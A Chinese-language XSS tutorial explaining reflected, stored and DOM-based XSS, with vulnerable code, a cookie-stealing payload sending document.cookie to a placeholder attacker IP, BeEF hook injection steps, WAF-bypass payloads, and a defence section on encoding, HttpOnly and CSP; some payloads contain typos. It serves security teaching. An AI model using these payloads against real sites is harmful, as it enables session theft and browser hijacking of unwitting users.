重要声明:本文所以操作、演示、Payload均仅用于靶场环境学习与授权渗透测试,严禁在未授权的系统上使用。未经授权的攻击行为违反《中华人民共和国网络安全法》及相关法律法规,后果自负。

一、XSS漏洞是什么?

XSS(Cross-Site Scripting,跨站脚本攻击)是Web安全中最常见、危害极大的客户端注入漏洞,为避免与CSS(层叠样式表)混淆,故缩写为XSS。

核心原理

攻击者在Web页面插入恶意Script代码,当用户浏览该页面时,嵌入的脚本被浏览器自动执行,从而实现窃取信息、劫持会话、控制页面等恶意目的。

本质:Web应用未对用户输入做严格过滤/转义,直接将用户输入拼接到HTML中输出,浏览器无法区分“正常内容”与“恶意脚本”。

二、XSS漏洞的真实危害

XSS看似只是弹个框,实际可造成严重后果:

  1. 盗取账号:窃取登录态、网银、后台管理员账号
  2. 窃取Cookies/Session:直接冒充用户登陆后台
  3. 篡改/窃取数据:读取、修改、删除企业敏感信息
  4. 非法操作:强制转账、发邮件、下单、关注/转发
  5. 网站挂马:植入挖矿、远控、木马程序
  6. 劫持流量:页面跳转、钓鱼、弹窗广告、蠕虫传播
  7. DDoS助攻:控制大量浏览器发起请求攻击目标站点

三、XSS三大类型:原理+实战案例

XSS按脚本存储位置触发方式分为三类:反射型、存储型、DOM型

1.反射型XSS(非持久型)
  • 特点:恶意代码在URL参数中,服务器“反射”回页面执行,一次性、非持久
  • 场景:搜索框、URL传参、跳转链接、反馈表单。
  • 攻击链路:构造恶意URL→用户点击→服务器直接输出参数→浏览器执行脚本
实战代码示例
<?php
$xss = $_GET['x'];
echo $xss;
?>
访问:http://localhost/1.php?x=<script>alert('xss反射型')</script>
------>页面直接弹出提示,证明漏洞存在
实战利用
http://xxx.com/search?keyword=<script>fetch('http://攻击者IP/steal?c='+document.cookie')</script>
------>用户访问Cookie直接发送到攻击者服务器
2.存储型XSS(持久型)
  • 特点:恶意代码写入服务器数据库/文件,永久留存,所有访问该页面的用户都会触发。
  • 场景:留言板、评论区、昵称、个人简介、订单备注、富文本编辑器。
  • 危害等级:最危险
    实战案例
    在留言板提交:
    <script>alert('存储型xss')</script>
    ------>提交后存入数据库,任何人打开该页面都会执行,攻击持续有效。

    典型危害:批量窃取Cookie、批量钓鱼、后台管理、全站蠕虫。

3.DOM型XSS(纯前端型)
  • 特点不经过服务器存储,直接通过JS操作前端DOM树触发,WAF与日志很难检测。
  • 原理:前端JS从URL、location.hash、表单等取数据,未做过滤直接innerHTML写入页面。
  • 示例
    var content = location.hash.substr(1);
    document.getElementById('msg').innerHTML = content;
    访问:
    http://localhost/dom.html#<img src=x onerror=alert(1)>
    ------>页面直接弹框。
    类型 存储位置 持久性 触发条件 危害
    反射型 URL 参数 一次性 点击恶意链接
    存储型 服务器数据库 永久 访问页面即可 极高
    DOM 型 前端 DOM 一次性 点击链接 / 操作页面

四、XSS综合实战:BeEF劫持浏览器流程

BeEF(The Browser Exploitation Framework)是Kali自带的XSS利用神器,可完全控制被hook的浏览器。

完整劫持流程

1.启动BeEF

beef-xss
默认账号:beef,密码:123456
管理面板:http://Kali-IP:3000/ui/panel

2.生成Hook代码

<script src="htttp://Kali-IP:3000/hook.js"></script>

3.注入到目标站点

  • 反射型:构造带hook.js的URL诱导点击
  • 存储型:提交到留言板/订单备注/个人资料

4.上线与控制

  • 受害者访问页面→浏览器被Hook→出现在BeEF在线主机
  • 可执行:窃取Cookie、页面跳转、钓鱼页面、键盘记录、信息扫描、内网探测

5.典型利用

  • Commands → Redirect:强制跳转钓鱼页
  • 获取Cookie  → 登录后台 → 接管权限
  • 内网端口扫描 → 横向渗透

五、XSS绕过WAF实战技巧(安全狗/云WAF通用)

WAF(Web应用防火墙)会拦截<script>、onerror\alert等特征,实战中必须绕过。

1.标签替换法(最常用)

不用script,改用支持事件的标签触发JS:

<audio src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<button onfocus=alert(1) autofocus>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

2.事件混淆与大小写绕过

<aUtO fOcUs oNeRrOr=AlErT(1)>
<img sRc=x oNeRrOr=alert(1)>

3.编码绕过(ASCII/Unicode/URL)

//ASCII 编码 alert(1)
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

//URL 编码
%3Cscript%3Ealert(1)%3C%Fscript#3E

4.XSStrike自动化绕过

XSStrike是专门识别并绕过WAF的XSS扫描工具,支持Fuzz、生成变形Payload。

python xsstrike.py -u "http://localhost/1.php?x=1"  -fuzzer
自动探测WAF规则,生成可绕过的Payload

六、XSS漏洞防御方案(开发必看)

防御核心:数据与代码分离,输入过滤+输出编码+安全配置

1.输入验证(白名单)

  • 只允许合法字符,禁止 < > ' " \ / &等特殊字符
  • 长度、格式严格限制(邮箱、手机号、用户名)

2.输出编码(最关键)

  • 输出到HTML:<→&lt,>→&gt;
  • 输出到JS:Unicode转义
  • 输出到属性:双引号包裹+HTML编码

3.安全Cookie

  • 设置HttpOnly:禁止JS读取Cookie
  • 设置Secure:仅HTTPS

4.CSP(内容安全策略)

Content-Security-Policy: default-src 'self'; script-src 'self'
禁止内联脚本、限制外部资源,从根源阻断XSS。

5.WAF+漏洞扫描

  • 部署云WAF/主机WAF拦截典型Payload
  • 定期自动化扫描,及时修复

七、总结

XSS是Web安全入门必学、实战高频率的漏洞,看似简单,却能引发账号被盗、数据据泄露、服务器被控等严重后果。

  • 反射型:靠链接触发,适合钓鱼与单点利用
  • 存储型:埋在服务器,危害范围最大
  • DOM型:纯前端触发,隐蔽性强
  • BeEF:XSS利用天花板,可全面控制浏览器
  • 绕过WAF:标签替换、事件混淆、编码变形、工具Fuzz
  • 防御:输入白名单、输出强编码、HttpOnly、CSP、WAF协同
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐